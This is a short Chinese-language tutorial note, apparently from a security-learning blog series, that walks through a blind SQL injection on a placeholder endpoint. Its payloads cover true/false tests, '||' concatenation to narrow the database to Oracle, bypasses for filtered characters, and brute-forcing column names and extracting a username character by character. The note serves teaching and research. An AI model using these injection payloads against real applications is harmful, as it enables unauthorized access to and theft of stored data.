其他
Sqli学习笔记系列---一次艰难的Sqli
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
这里记录一下一些小技巧: 替换 路径/参数
在以下接口的的“idNumber”参数上找到注入点:
/foo/?theName=YAP&idNumber=248001[注入点]
识别是否执行成功true/false
的payload
/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE
也可以使用管道操作:
/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE
有了上面这些条件,就能够将此应用程序使用的数据库缩小到Oracle、PosgreSQL、IBM DB2或Informix。
尝试这个技巧:
/foo/?theName=YAP&idNumber=248'||<利用暴力破解来注入任何SQL函数>||'001
发现“rownum”
被接受了,这表明是Oracle。为了确认,查询如下信息:
/foo/?theName=YAP&idNumber=24800'||rownum||'
发现如下信息:
有点意思,现在我们如何从注入中提取数据呢?应用程序似乎过滤/替换了以下字符
_ ( ) + . whitespaces
一种使用有效负载提取数据的方法如下:
/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"
最后一步是:
/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%
最后得出用户名.
总结
主要是要会利用暴力破解的方法来进行注入
最后祝大家中秋节快乐!!!